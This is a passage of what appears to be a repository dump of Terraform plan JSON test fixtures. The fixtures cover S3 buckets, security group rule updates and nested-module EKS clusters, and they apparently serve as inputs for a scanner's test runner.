 ],\n                  \"server_side_encryption_configuration\":[\n\n                  ],\n                  \"tags_all\":{\n\n                  },\n                  \"versioning\":[\n\n                  ],\n                  \"website\":[\n\n                  ]\n               }\n            }\n         ],\n         \"child_modules\":[\n            {\n               \"address\":\"module.s3_module\",\n               \"child_modules\":[\n                  {\n                     \"resources\":[\n                        {\n                           \"address\":\"module.s3_module.module.inner_s3_module.aws_s3_bucket_public_access_block.var_bucket\",\n                           \"mode\":\"managed\",\n                           \"type\":\"aws_s3_bucket_public_access_block\",\n                           \"name\":\"var_bucket\",\n                           \"provider_name\":\"registry.terraform.io/hashicorp/aws\",\n                           \"schema_version\":0,\n                           \"values\":{\n                              \"block_public_acls\":true,\n                              \"block_public_policy\":true,\n                              \"ignore_public_acls\":true,\n                              \"restrict_public_buckets\":true\n                           },\n                           \"sensitive_values\":{\n\n                           }\n                        }\n                     ],\n                     \"address\":\"module.s3_module.module.inner_s3_module\"\n                  }\n               ]\n            },\n            {\n               \"address\":\"module.s3_module_2\",\n               \"child_modules\":[\n                  {\n                     \"resources\":[\n                        {\n                           \"address\":\"module.s3_module_2.module.inner_s3_module.aws_s3_bucket_public_access_block.var_bucket\",\n                           \"mode\":\"managed\",\n                           \"type\":\"aws_s3_bucket_public_access_block\",\n                           \"name\":\"var_bucket\",\n                           \"provider_name\":\"registry.terraform.io/hashicorp/aws\",\n                           \"schema_version\":0,\n                           \"values\":{\n                              \"block_public_acls\":true,\n                              \"block_public_policy\":true,\n                              \"ignore_public_acls\":true,\n                              \"restrict_public_buckets\":true\n                           },\n                           \"sensitive_values\":{\n\n                           }\n                        }\n                     ],\n                     \"address\":\"module.s3_module_2.module.inner_s3_module\"\n                  }\n               ]\n            }\n         ]\n      }\n   },\n   \"resource_changes\":[\n      {\n         \"address\":\"aws_s3_bucket.example\",\n         \"mode\":\"managed\",\n         \"type\":\"aws_s3_bucket\",\n         \"name\":\"example\",\n         \"provider_name\":\"registry.terraform.io/hashicorp/aws\",\n         \"change\":{\n            \"actions\":[\n               \"create\"\n            ],\n            \"before\":null,\n            \"after\":{\n               \"bucket\":\"example\",\n               \"bucket_prefix\":null,\n               \"force_destroy\":false,\n               \"tags\":null,\n               \"timeouts\":null\n            },\n            \"after_unknown\":{\n               \"acceleration_status\":true,\n               \"acl\":true,\n               \"arn\":true,\n               \"bucket_domain_name\":true,\n               \"bucket_regional_domain_name\":true,\n               \"cors_rule\":true,\n               \"grant\":true,\n               \"hosted_zone_id\":true,\n               \"id\":true,\n               \"logging\":true,\n               \"object_lock_configuration\":true,\n               \"object_lock_enabled\":true,\n               \"policy\":true,\n               \"region\":true,\n               \"replication_configuration\":true,\n               \"request_payer\":true,\n               \"server_side_encryption_configuration\":true,\n               \"tags_all\":true,\n               \"versioning\":true,\n               \"website\":true,\n               \"website_domain\":true,\n               \"website_endpoint\":true\n            },\n            \"before_sensitive\":false,\n            \"after_sensitive\":{\n               \"cors_rule\":[\n\n               ],\n               \"grant\":[\n\n               ],\n               \"lifecycle_rule\":[\n\n               ],\n               \"logging\":[\n\n               ],\n               \"object_lock_configuration\":[\n\n               ],\n               \"replication_configuration\":[\n\n               ],\n               \"server_side_encryption_configuration\":[\n\n               ],\n               \"tags_all\":{\n\n               },\n               \"versioning\":[\n\n               ],\n               \"website\":[\n\n               ]\n            }\n         }\n      },\n      {\n         \"address\":\"aws_s3_bucket.example_2\",\n         \"mode\":\"managed\",\n         \"type\":\"aws_s3_bucket\",\n         \"name\":\"example_2\",\n         \"provider_name\":\"registry.terraform.io/hashicorp/aws\",\n         \"change\":{\n            \"actions\":[\n               \"create\"\n            ],\n            \"before\":null,\n            \"after\":{\n               \"bucket\":\"example_2\",\n               \"bucket_prefix\":null,\n               \"force_destroy\":false,\n               \"tags\":null,\n               \"timeouts\":null\n            },\n            \"after_unknown\":{\n               \"acceleration_status\":true,\n               \"acl\":true,\n               \"arn\":true,\n               \"bucket_domain_name\":true,\n               \"bucket_regional_domain_name\":true,\n               \"cors_rule\":true,\n               \"grant\":true,\n               \"hosted_zone_id\":true,\n               \"id\":true,\n               \"logging\":true,\n               \"object_lock_configuration\":true,\n               \"object_lock_enabled\":true,\n               \"policy\":true,\n               \"region\":true,\n               \"replication_configuration\":true,\n               \"request_payer\":true,\n               \"server_side_encryption_configuration\":true,\n               \"tags_all\":true,\n               \"versioning\":true,\n               \"website\":true,\n               \"website_domain\":true,\n               \"website_endpoint\":true\n            },\n            \"before_sensitive\":false,\n            \"after_sensitive\":{\n               \"cors_rule\":[\n\n               ],\n               \"grant\":[\n\n               ],\n               \"lifecycle_rule\":[\n\n               ],\n               \"logging\":[\n\n               ],\n               \"object_lock_configuration\":[\n\n               ],\n               \"replication_configuration\":[\n\n               ],\n               \"server_side_encryption_configuration\":[\n\n               ],\n               \"tags_all\":{\n\n               },\n               \"versioning\":[\n\n               ],\n               \"website\":[\n\n               ]\n            }\n         }\n      },\n      {\n         \"address\":\"module.s3_module.module.inner_s3_module.aws_s3_bucket_public_access_block.var_bucket\",\n         \"module_address\":\"module.s3_module.module.inner_s3_module\",\n         \"mode\":\"managed\",\n         \"type\":\"aws_s3_bucket_public_access_block\",\n         \"name\":\"var_bucket\",\n         \"provider_name\":\"registry.terraform.io/hashicorp/aws\",\n         \"change\":{\n            \"actions\":[\n               \"create\"\n            ],\n            \"before\":null,\n            \"after\":{\n               \"block_public_acls\":true,\n               \"block_public_policy\":true,\n               \"ignore_public_acls\":true,\n               \"restrict_public_buckets\":true\n            },\n            \"after_unknown\":{\n               \"bucket\":true,\n               \"id\":true\n            },\n            \"before_sensitive\":false,\n            \"after_sensitive\":{\n\n            }\n         }\n      },\n      {\n         \"address\":\"module.s3_module_2.module.inner_s3_module.aws_s3_bucket_public_access_block.var_bucket\",\n         \"module_address\":\"module.s3_module_2.module.inner_s3_module\",\n         \"mode\":\"managed\",\n         \"type\":\"aws_s3_bucket_public_access_block\",\n         \"name\":\"var_bucket\",\n         \"provider_name\":\"registry.terraform.io/hashicorp/aws\",\n         \"change\":{\n            \"actions\":[\n               \"create\"\n            ],\n            \"before\":null,\n            \"after\":{\n               \"block_public_acls\":true,\n               \"block_public_policy\":true,\n               \"ignore_public_acls\":true,\n               \"restrict_public_buckets\":true\n            },\n            \"after_unknown\":{\n               \"bucket\":true,\n               \"id\":true\n            },\n            \"before_sensitive\":false,\n            \"after_sensitive\":{\n\n            }\n         }\n      }\n   ],\n   \"configuration\":{\n      \"provider_config\":{\n         \"aws\":{\n            \"name\":\"aws\",\n            \"full_name\":\"registry.terraform.io/hashicorp/aws\",\n            \"expressions\":{\n               \"profile\":{\n                  \"constant_value\":\"dev8\"\n               },\n               \"region\":{\n                  \"constant_value\":\"us-west-2\"\n               }\n            }\n         },\n         \"module.s3_module.module.inner_s3_module:aws\":{\n            \"name\":\"aws\",\n            \"full_name\":\"registry.terraform.io/hashicorp/aws\",\n            \"module_address\":\"module.s3_module.module.inner_s3_module\"\n         },\n         \"module.s3_module_2.module.inner_s3_module:aws\":{\n            \"name\":\"aws\",\n            \"full_name\":\"registry.terraform.io/hashicorp/aws\",\n            \"module_address\":\"module.s3_module_2.module.inner_s3_module\"\n         }\n      },\n      \"root_module\":{\n         \"resources\":[\n            {\n               \"address\":\"aws_s3_bucket.example\",\n               \"mode\":\"managed\",\n               \"type\":\"aws_s3_bucket\",\n               \"name\":\"example\",\n               \"provider_config_key\":\"aws\",\n               \"expressions\":{\n                  \"bucket\":{\n                     \"constant_value\":\"example\"\n                  }\n               },\n               \"schema_version\":0\n            },\n            {\n               \"address\":\"aws_s3_bucket.example_2\",\n               \"mode\":\"managed\",\n               \"type\":\"aws_s3_bucket\",\n               \"name\":\"example_2\",\n               \"provider_config_key\":\"aws\",\n               \"expressions\":{\n                  \"bucket\":{\n                     \"constant_value\":\"example_2\"\n                  }\n               },\n               \"schema_version\":0\n            }\n         ],\n         \"module_calls\":{\n            \"s3_module\":{\n               \"source\":\"./module\",\n               \"expressions\":{\n                  \"bucket\":{\n                     \"references\":[\n                        \"aws_s3_bucket.example.id\",\n                        \"aws_s3_bucket.example\"\n                     ]\n                  }\n               },\n               \"module\":{\n                  \"module_calls\":{\n                     \"inner_s3_module\":{\n                        \"source\":\"../module2\",\n                        \"expressions\":{\n                           \"bucket2\":{\n                              \"references\":[\n                                 \"var.bucket\"\n                              ]\n                           }\n                        },\n                        \"module\":{\n                           \"resources\":[\n                              {\n                                 \"address\":\"aws_s3_bucket_public_access_block.var_bucket\",\n                                 \"mode\":\"managed\",\n                                 \"type\":\"aws_s3_bucket_public_access_block\",\n                                 \"name\":\"var_bucket\",\n                                 \"provider_config_key\":\"module.s3_module.module.inner_s3_module:aws\",\n                                 \"expressions\":{\n                                    \"block_public_acls\":{\n                                       \"constant_value\":true\n                                    },\n                                    \"block_public_policy\":{\n                                       \"constant_value\":true\n                                    },\n                                    \"bucket\":{\n                                       \"references\":[\n                                          \"local.bucket2\"\n                                       ]\n                                    },\n                                    \"ignore_public_acls\":{\n                                       \"constant_value\":true\n                                    },\n                                    \"restrict_public_buckets\":{\n                                       \"constant_value\":true\n                                    }\n                                 },\n                                 \"schema_version\":0\n                              }\n                           ],\n                           \"variables\":{\n                              \"bucket2\":{\n\n                              }\n                           }\n                        }\n                     }\n                  },\n                  \"variables\":{\n                     \"bucket\":{\n\n                     }\n                  }\n               }\n            },\n            \"s3_module_2\":{\n               \"source\":\"./module\",\n               \"expressions\":{\n                  \"bucket\":{\n                     \"references\":[\n                        \"aws_s3_bucket.example_2.id\",\n                        \"aws_s3_bucket.example_2\"\n                     ]\n                  }\n               },\n               \"module\":{\n                  \"module_calls\":{\n                     \"inner_s3_module\":{\n                        \"source\":\"../module2\",\n                        \"expressions\":{\n                           \"bucket2\":{\n                              \"references\":[\n                                 \"var.bucket\"\n                              ]\n                           }\n                        },\n                        \"module\":{\n                           \"resources\":[\n                              {\n                                 \"address\":\"aws_s3_bucket_public_access_block.var_bucket\",\n                                 \"mode\":\"managed\",\n                                 \"type\":\"aws_s3_bucket_public_access_block\",\n                                 \"name\":\"var_bucket\",\n                                 \"provider_config_key\":\"module.s3_module_2.module.inner_s3_module:aws\",\n                                 \"expressions\":{\n                                    \"block_public_acls\":{\n                                       \"constant_value\":true\n                                    },\n                                    \"block_public_policy\":{\n                                       \"constant_value\":true\n                                    },\n                                    \"bucket\":{\n                                       \"references\":[\n                                          \"local.bucket2\"\n                                       ]\n                                    },\n                                    \"ignore_public_acls\":{\n                                       \"constant_value\":true\n                                    },\n                                    \"restrict_public_buckets\":{\n                                       \"constant_value\":true\n                                    }\n                                 },\n                                 \"schema_version\":0\n                              }\n                           ],\n                           \"variables\":{\n                              \"bucket2\":{\n\n                              }\n                           }\n                        }\n                     }\n                  },\n                  \"variables\":{\n                     \"bucket\":{\n\n                     }\n                  }\n               }\n            }\n         }\n      }\n   },\n   \"relevant_attributes\":[\n      {\n         \"resource\":\"aws_s3_bucket.example_2\",\n         \"attribute\":[\n            \"id\"\n         ]\n      },\n      {\n         \"resource\":\"aws_s3_bucket.example\",\n         \"attribute\":[\n            \"id\"\n         ]\n      }\n   ]\n}"
  },
  {
    "path": "tests/terraform/runner/resources/plan_change_keys/tfplan.json",
    "content": "{\n    \"format_version\": \"1.1\",\n    \"terraform_version\": \"1.4.6\",\n    \"planned_values\":\n    {\n        \"root_module\":\n        {\n            \"resources\":\n            [\n                {\n                    \"address\": \"aws_security_group_rule.foo\",\n                    \"mode\": \"managed\",\n                    \"type\": \"aws_security_group_rule\",\n                    \"name\": \"foo\",\n                    \"provider_name\": \"registry.terraform.io/hashicorp/aws\",\n                    \"schema_version\": 2,\n                    \"values\": {\n                        \"cidr_blocks\": null,\n                        \"description\": \"foo\",\n                        \"from_port\": 5432,\n                        \"ipv6_cidr_blocks\": null,\n                        \"prefix_list_ids\": [],\n                        \"protocol\": \"tcp\",\n                        \"security_group_id\": \"sg-547cc4cd5f94bb695\",\n                        \"self\": false,\n                        \"source_security_group_id\": \"sg-8d21ab5963b0e7917\",\n                        \"timeouts\": null,\n                        \"to_port\": 5433,\n                        \"type\": \"ingress\"\n                    },\n                    \"sensitive_values\": {\n                        \"prefix_list_ids\": []\n                    }\n                },\n                {\n                    \"address\": \"aws_security_group_rule.bar\",\n                    \"mode\": \"managed\",\n                    \"type\": \"aws_security_group_rule\",\n                    \"name\": \"bar\",\n                    \"provider_name\": \"registry.terraform.io/hashicorp/aws\",\n                    \"schema_version\": 2,\n                    \"values\": {\n                        \"cidr_blocks\": null,\n                        \"description\": \"foo\",\n                        \"from_port\": 8888,\n                        \"ipv6_cidr_blocks\": null,\n                        \"prefix_list_ids\": [],\n                        \"protocol\": \"udp\",\n                        \"security_group_id\": \"sg-547cc4cd5f94bb696\",\n                        \"self\": false,\n                        \"source_security_group_id\": \"sg-8d21ab5963b0e7917\",\n                        \"timeouts\": null,\n                        \"to_port\": 8888,\n                        \"type\": \"ingress\"\n                    },\n                    \"sensitive_values\": {\n                        \"prefix_list_ids\": []\n                    }\n                }\n            ]\n        }\n    },\n    \"resource_changes\":\n    [\n        {\n            \"address\": \"aws_security_group_rule.foo\",\n            \"mode\": \"managed\",\n            \"type\": \"aws_security_group_rule\",\n            \"name\": \"foo\",\n            \"provider_name\": \"registry.terraform.io/hashicorp/aws\",\n            \"schema_version\": 2,\n            \"change\":\n            {\n                \"actions\":\n                [\n                    \"update\"\n                ],\n                \"before\": {\n                    \"cidr_blocks\": [],\n                    \"description\": \"foo\",\n                    \"from_port\": 5432,\n                    \"id\": \"sgrule-88888888\",\n                    \"ipv6_cidr_blocks\": [],\n                    \"prefix_list_ids\": [],\n                    \"protocol\": \"tcp\",\n                    \"security_group_id\": \"sg-547cc4cd5f94bb695\",\n                    \"security_group_rule_id\": null,\n                    \"self\": false,\n                    \"source_security_group_id\": \"sg-8d21ab5963b0e7917\",\n                    \"timeouts\": null,\n                    \"to_port\": 5432,\n                    \"type\": \"ingress\"\n                },\n                \"after\": {\n                    \"cidr_blocks\": [],\n                    \"description\": \"foo\",\n                    \"from_port\": 5432,\n                    \"id\": \"sgrule-88888888\",\n                    \"ipv6_cidr_blocks\": [],\n                    \"prefix_list_ids\": [],\n                    \"protocol\": \"tcp\",\n                    \"security_group_id\": \"sg-547cc4cd5f94bb695\",\n                    \"security_group_rule_id\": \"sgr-5a4b695164c564a8f\",\n                    \"self\": false,\n                    \"source_security_group_id\": \"sg-8d21ab5963b0e7917\",\n                    \"timeouts\": null,\n                    \"to_port\": 5433,\n                    \"type\": \"ingress\"\n                },\n                \"after_unknown\": {},\n                \"before_sensitive\": {\n                    \"cidr_blocks\": [],\n                    \"ipv6_cidr_blocks\": [],\n                    \"prefix_list_ids\": []\n                  },\n                \"after_sensitive\": {\n                    \"cidr_blocks\": [],\n                    \"ipv6_cidr_blocks\": [],\n                    \"prefix_list_ids\": []\n                }\n            }\n        },\n        {\n            \"address\": \"aws_security_group_rule.bar\",\n            \"mode\": \"managed\",\n            \"type\": \"aws_security_group_rule\",\n            \"name\": \"bar\",\n            \"provider_name\": \"registry.terraform.io/hashicorp/aws\",\n            \"schema_version\": 2,\n            \"change\":\n            {\n                \"actions\":\n                [\n                    \"update\"\n                ],\n                \"before\": {\n                    \"cidr_blocks\": [],\n                    \"description\": \"bar\",\n                    \"from_port\": 8888,\n                    \"id\": \"sgrule-88888888\",\n                    \"ipv6_cidr_blocks\": [],\n                    \"prefix_list_ids\": [],\n                    \"protocol\": \"tcp\",\n                    \"security_group_id\": \"sg-547cc4cd5f94bb696\",\n                    \"security_group_rule_id\": null,\n                    \"self\": false,\n                    \"source_security_group_id\": \"sg-8d21ab5963b0e7917\",\n                    \"timeouts\": null,\n                    \"to_port\": 8888,\n                    \"type\": \"ingress\"\n                },\n                \"after\": {\n                    \"cidr_blocks\": [],\n                    \"description\": \"bar\",\n                    \"from_port\": 8888,\n                    \"id\": \"sgrule-88888888\",\n                    \"ipv6_cidr_blocks\": [],\n                    \"prefix_list_ids\": [],\n                    \"protocol\": \"udp\",\n                    \"security_group_id\": \"sg-547cc4cd5f94bb696\",\n                    \"security_group_rule_id\": \"sgr-5a4b695164c564a90\",\n                    \"self\": false,\n                    \"source_security_group_id\": \"sg-8d21ab5963b0e7917\",\n                    \"timeouts\": null,\n                    \"to_port\": 8888,\n                    \"type\": \"ingress\"\n                },\n                \"after_unknown\": {},\n                \"before_sensitive\": {\n                    \"cidr_blocks\": [],\n                    \"ipv6_cidr_blocks\": [],\n                    \"prefix_list_ids\": []\n                  },\n                \"after_sensitive\": {\n                    \"cidr_blocks\": [],\n                    \"ipv6_cidr_blocks\": [],\n                    \"prefix_list_ids\": []\n                }\n            }\n        }\n    ],\n    \"configuration\":\n    {\n        \"provider_config\":\n        {\n            \"aws\":\n            {\n                \"name\": \"aws\"\n            }\n        },\n        \"root_module\":\n        {\n            \"resources\":\n            [\n                {\n                    \"address\": \"aws_security_group_rule.foo\",\n                    \"mode\": \"managed\",\n                    \"type\": \"aws_security_group_rule\",\n                    \"name\": \"foo\",\n                    \"provider_config_key\": \"aws\",\n                    \"expressions\":\n                    {\n                        \"name\":\n                        {\n                            \"constant_value\": \"foo\"\n                        }\n                    },\n                    \"schema_version\": 2\n                },\n                {\n                    \"address\": \"aws_security_group_rule.bar\",\n                    \"mode\": \"managed\",\n                    \"type\": \"aws_security_group_rule\",\n                    \"name\": \"bar\",\n                    \"provider_config_key\": \"aws\",\n                    \"expressions\":\n                    {\n                        \"name\":\n                        {\n                            \"constant_value\": \"bar\"\n                        }\n                    },\n                    \"schema_version\": 2\n                }\n            ]\n        }\n    }\n}\n"
  },
  {
    "path": "tests/terraform/runner/resources/plan_data_resource_partial_values/tfplan.json",
    "content": "{\n   \"format_version\": \"0.1\",\n   \"terraform_version\": \"0.13.5\",\n   \"planned_values\": {\n     \"root_module\": {\n       \"child_modules\": [\n         {\n           \"address\": \"module.child\",\n           \"child_modules\": [\n             {\n               \"resources\": [\n                 {\n                   \"address\": \"module.child.module.a.aws_eks_cluster.cluster\",\n                   \"mode\": \"managed\",\n                   \"type\": \"aws_eks_cluster\",\n                   \"name\": \"cluster\",\n                   \"provider_name\": \"registry.terraform.io/hashicorp/aws\",\n                   \"schema_version\": 0,\n                   \"values\": {\n                     \"enabled_cluster_log_types\": [\n                       \"api\",\n                       \"audit\"\n                     ],\n                     \"encryption_config\": [],\n                     \"name\": \"test\",\n                     \"role_arn\": \"arn:aws:iam::123456789012:role/test\",\n                     \"tags\": null,\n                     \"timeouts\": null,\n                     \"vpc_config\": [\n                       {\n                         \"endpoint_private_access\": false,\n                         \"endpoint_public_access\": true,\n                         \"security_group_ids\": null,\n                         \"subnet_ids\": [\n                           \"10.165.77.0/24\"\n                         ]\n                       }\n                     ]\n                   }\n                 }\n               ],\n               \"address\": \"module.child.module.a\"\n             },\n             {\n               \"resources\": [\n                 {\n                   \"address\": \"module.child.module.b.data.aws_eks_cluster.cluster\",\n                   \"mode\": \"data\",\n                   \"type\": \"aws_eks_cluster\",\n                   \"name\": \"cluster\",\n                   \"provider_name\": \"registry.terraform.io/hashicorp/aws\",\n                   \"schema_version\": 0,\n                   \"values\": {\n                     \"name\": \"test\"\n                   }\n                 }\n               ],\n               \"address\": \"module.child.module.b\"\n             }\n           ]\n         }\n       ]\n     }\n   },\n   \"resource_changes\": [\n     {\n       \"address\": \"module.child.module.a.aws_eks_cluster.cluster\",\n       \"module_address\": \"module.child.module.a\",\n       \"mode\": \"managed\",\n       \"type\": \"aws_eks_cluster\",\n       \"name\": \"cluster\",\n       \"provider_name\": \"registry.terraform.io/hashicorp/aws\",\n       \"change\": {\n         \"actions\": [\n           \"create\"\n         ],\n         \"before\": null,\n         \"after\": {\n           \"enabled_cluster_log_types\": [\n             \"api\",\n             \"audit\"\n           ],\n           \"encryption_config\": [],\n           \"name\": \"test\",\n           \"role_arn\": \"arn:aws:iam::123456789012:role/test\",\n           \"tags\": null,\n           \"timeouts\": null,\n           \"vpc_config\": [\n             {\n               \"endpoint_private_access\": false,\n               \"endpoint_public_access\": true,\n               \"security_group_ids\": null,\n               \"subnet_ids\": [\n                 \"10.165.77.0/24\"\n               ]\n             }\n           ]\n         },\n         \"after_unknown\": {\n           \"arn\": true,\n           \"certificate_authority\": true,\n           \"created_at\": true,\n           \"enabled_cluster_log_types\": [\n             false,\n             false\n           ],\n           \"encryption_config\": [],\n           \"endpoint\": true,\n           \"id\": true,\n           \"identity\": true,\n           \"kubernetes_network_config\": true,\n           \"platform_version\": true,\n           \"status\": true,\n           \"version\": true,\n           \"vpc_config\": [\n             {\n               \"cluster_security_group_id\": true,\n               \"public_access_cidrs\": true,\n               \"subnet_ids\": [\n                 false\n               ],\n               \"vpc_id\": true\n             }\n           ]\n         }\n       }\n     },\n     {\n       \"address\": \"module.child.module.b.data.aws_eks_cluster.cluster\",\n       \"module_address\": \"module.child.module.b\",\n       \"mode\": \"data\",\n       \"type\": \"aws_eks_cluster\",\n       \"name\": \"cluster\",\n       \"provider_name\": \"registry.terraform.io/hashicorp/aws\",\n       \"change\": {\n         \"actions\": [\n           \"read\"\n         ],\n         \"before\": null,\n         \"after\": {\n           \"name\": \"test\"\n         },\n         \"after_unknown\": {\n           \"arn\": true,\n           \"certificate_authority\": true,\n           \"created_at\": true,\n           \"enabled_cluster_log_types\": true,\n           \"endpoint\": true,\n           \"id\": true,\n           \"identity\": true,\n           \"kubernetes_network_config\": true,\n           \"platform_version\": true,\n           \"role_arn\": true,\n           \"status\": true,\n           \"tags\": true,\n           \"version\": true,\n           \"vpc_config\": true\n         }\n       }\n     }\n   ],\n   \"configuration\": {\n     \"root_module\": {\n       \"module_calls\": {\n         \"child\": {\n           \"source\": \"./module\",\n           \"module\": {\n             \"module_calls\": {\n               \"a\": {\n                 \"source\": \"./modules/a\",\n                 \"module\": {\n                   \"resources\": [\n                     {\n                       \"address\": \"aws_eks_cluster.cluster\",\n                       \"mode\": \"managed\",\n                       \"type\": \"aws_eks_cluster\",\n                       \"name\": \"cluster\",\n                       \"provider_config_key\": \"a:aws\",\n                       \"expressions\": {\n                         \"enabled_cluster_log_types\": {\n                           \"constant_value\": [\n                             \"audit\",\n                             \"api\"\n                           ]\n                         },\n                         \"name\": {\n                           \"constant_value\": \"test\"\n                         },\n                         \"role_arn\": {\n                           \"constant_value\": \"arn:aws:iam::123456789012:role/test\"\n                         },\n                         \"vpc_config\": [\n                           {\n                             \"subnet_ids\": {\n                               \"constant_value\": [\n                                 \"10.165.77.0/24\"\n                               ]\n                             }\n                           }\n                         ]\n                       },\n                       \"schema_version\": 0\n                     }\n                   ]\n                 }\n               },\n               \"b\": {\n                 \"source\": \"./modules/b\",\n                 \"module\": {\n                   \"resources\": [\n                     {\n                       \"address\": \"data.aws_eks_cluster.cluster\",\n                       \"mode\": \"data\",\n                       \"type\": \"aws_eks_cluster\",\n                       \"name\": \"cluster\",\n                       \"provider_config_key\": \"b:aws\",\n                       \"expressions\": {\n                         \"name\": {\n                           \"constant_value\": \"test\"\n                         }\n                       },\n                       \"schema_version\": 0\n                     }\n                   ]\n                 },\n                 \"depends_on\": [\n                   \"module.a\"\n                 ]\n               }\n             }\n           }\n         }\n       }\n     }\n   }\n}\n"
  },
  {
    "path": "tests/terraform/runner/resources/plan_nested_child_modules/tfplan.json",
    "content": "{\n    \"format_version\":\"0.1\",\n    \"terraform_version\":\"0.13.4\",\n    \"planned_values\":{\n       \"root_module\":{\n          \"child_modules\":[\n             {\n                \"address\":\"module.child_0\",\n                \"child_modules\":[\n                   {\n                      \"resources\":[\n                         {\n                            \"address\":\"module.child_0.module.child_1_c.aws_eks_cluster.cluster\",\n                            \"mode\":\"managed\",\n                            \"type\":\"aws_eks_cluster\",\n                            \"name\":\"cluster\",\n                            \"provider_name\":\"registry.terraform.io/hashicorp/aws\",\n                            \"schema_version\":0,\n                            \"values\":{\n                               \"enabled_cluster_log_types\":[\n                                  \"api\",\n                                  \"audit\"\n                               ],\n                               \"encryption_config\":[\n                                  \n                               ],\n                               \"name\":\"test\",\n                               \"role_arn\":\"arn:aws:iam::12345678912:role/test\",\n                               \"tags\":null,\n                               \"timeouts\":null,\n                               \"vpc_config\":[\n                                  {\n                                     \"endpoint_private_access\":false,\n                                     \"endpoint_public_access\":true,\n                                     \"security_group_ids\":null,\n                                     \"subnet_ids\":[\n                                        \"10.165.77.0/24\"\n                                     ]\n                                  }\n                               ]\n                            }\n                         }\n                      ],\n                      \"address\":\"module.child_0.module.child_1_c\"\n                   },\n                   {\n                      \"resources\":[\n                         {\n                            \"address\":\"module.child_0.module.child_1_b.aws_eks_cluster.cluster\",\n                            \"mode\":\"managed\",\n                            \"type\":\"aws_eks_cluster\",\n                            \"name\":\"cluster\",\n                            \"provider_name\":\"registry.terraform.io/hashicorp/aws\",\n                            \"schema_version\":0,\n                            \"values\":{\n                               \"enabled_cluster_log_types\":[\n                                  \"api\",\n                                  \"audit\"\n                               ],\n                               \"encryption_config\":[\n                                  \n                               ],\n                               \"name\":\"test\",\n                               \"role_arn\":\"arn:aws:iam::12345678912:role/test\",\n                               \"tags\":null,\n                               \"timeouts\":null,\n                               \"vpc_config\":[\n                                  {\n                                     \"endpoint_private_access\":false,\n                                     \"endpoint_public_access\":true,\n                                     \"security_group_ids\":null,\n                                     \"subnet_ids\":[\n                                        \"10.165.77.0/24\"\n                                     ]\n                                  }\n                               ]\n                            }\n                         }\n                      ],\n                      \"address\":\"module.child_0.module.child_1_b\"\n                   },\n                   {\n                      \"resources\":[\n                         {\n                            \"address\":\"module.child_0.module.child_1_a.aws_eks_cluster.cluster\",\n                            \"mode\":\"managed\",\n                            \"type\":\"aws_eks_cluster\",\n                            \"name\":\"cluster\",\n                            \"provider_name\":\"registry.terraform.io/hashicorp/aws\",\n                            \"schema_version\":0,\n                            \"values\":{\n                               \"enabled_cluster_log_types\":[\n                                  \"api\",\n                                  \"audit\"\n                               ],\n                               \"encryption_config\":[\n                                  \n                               ],\n                               \"name\":\"test\",\n                               \"role_arn\":\"arn:aws:iam::12345678912:role/test\",\n                               \"tags\":null,\n                               \"timeouts\":null,\n                               \"vpc_config\":[\n                                  {\n                                     \"endpoint_private_access\":false,\n                                     \"endpoint_public_access\":true,\n                                     \"security_group_ids\":null,\n                                     \"subnet_ids\":[\n                                        \"10.165.77.0/24\"\n                                     ]\n                                  }\n                               ]\n                            }\n                         }\n                      ],\n                      \"address\":\"module.child_0.module.child_1_a\"\n                   }\n                ]\n             }\n          ]\n       }\n    },\n    \"resource_changes\":[\n       {\n          \"address\":\"module.child_0.module.child_1_a.aws_eks_cluster.cluster\",\n          \"module_address\":\"module.child_0.module.child_1_a\",\n          \"mode\":\"managed\",\n          \"type\":\"aws_eks_cluster\",\n          \"name\":\"cluster\",\n          \"provider_name\":\"registry.terraform.io/hashicorp/aws\",\n          \"change\":{\n             \"actions\":[\n                \"create\"\n             ],\n             \"before\":null,\n             \"after\":{\n                \"enabled_cluster_log_types\":[\n                   \"api\",\n                   \"audit\"\n                ],\n                \"encryption_config\":[\n                   \n                ],\n                \"name\":\"test\",\n                \"role_arn\":\"arn:aws:iam::12345678912:role/test\",\n                \"tags\":null,\n                \"timeouts\":null,\n                \"vpc_config\":[\n                   {\n                      \"endpoint_private_access\":false,\n                      \"endpoint_public_access\":true,\n                      \"security_group_ids\":null,\n                      \"subnet_ids\":[\n                         \"10.165.77.0/24\"\n                      ]\n                   }\n                ]\n             },\n             \"after_unknown\":{\n                \"arn\":true,\n                \"certificate_authority\":true,\n                \"created_at\":true,\n                \"enabled_cluster_log_types\":[\n                   false,\n                   false\n                ],\n                \"encryption_config\":[\n                   \n                ],\n                \"endpoint\":true,\n                \"id\":true,\n                \"identity\":true,\n                \"kubernetes_network_config\":true,\n                \"platform_version\":true,\n                \"status\":true,\n                \"version\":true,\n                \"vpc_config\":[\n                   {\n                      \"cluster_security_group_id\":true,\n                      \"public_access_cidrs\":true,\n                      \"subnet_ids\":[\n                         false\n                      ],\n                      \"vpc_id\":true\n                   }\n                ]\n             }\n          }\n       },\n       {\n          \"address\":\"module.child_0.module.child_1_b.aws_eks_cluster.cluster\",\n          \"module_address\":\"module.child_0.module.child_1_b\",\n          \"mode\":\"managed\",\n          \"type\":\"aws_eks_cluster\",\n          \"name\":\"cluster\",\n          \"provider_name\":\"registry.terraform.io/hashicorp/aws\",\n          \"change\":{\n             \"actions\":[\n                \"create\"\n             ],\n             \"before\":null,\n             \"after\":{\n                \"enabled_cluster_log_types\":[\n                   \"api\",\n                   \"audit\"\n                ],\n                \"encryption_config\":[\n                   \n                ],\n                \"name\":\"test\",\n                \"role_arn\":\"arn:aws:iam::12345678912:role/test\",\n                \"tags\":null,\n                \"timeouts\":null,\n                \"vpc_config\":[\n                   {\n                      \"endpoint_private_access\":false,\n                      \"endpoint_public_access\":true,\n                      \"security_group_ids\":null,\n                      \"subnet_ids\":[\n                         \"10.165.77.0/24\"\n                      ]\n                   }\n                ]\n             },\n             \"after_unknown\":{\n                \"arn\":true,\n                \"certificate_authority\":true,\n                \"created_at\":true,\n                \"enabled_cluster_log_types\":[\n                   false,\n                   false\n                ],\n                \"encryption_config\":[\n                   \n                ],\n                \"endpoint\":true,\n                \"id\":true,\n                \"identity\":true,\n                \"kubernetes_network_config\":true,\n                \"platform_version\":true,\n                \"status\":true,\n                \"version\":true,\n                \"vpc_config\":[\n                   {\n                      \"cluster_security_group_id\":true,\n                      \"public_access_cidrs\":true,\n                      \"subnet_ids\":[\n                         false\n                      ],\n                      \"vpc_id\":true\n                   }\n                ]\n             }\n          }\n       },\n       {\n          \"address\":\"module.child_0.module.child_1_c.aws_eks_cluster.cluster\",\n          \"module_address\":\"module.child_0.module.child_1_c\",\n          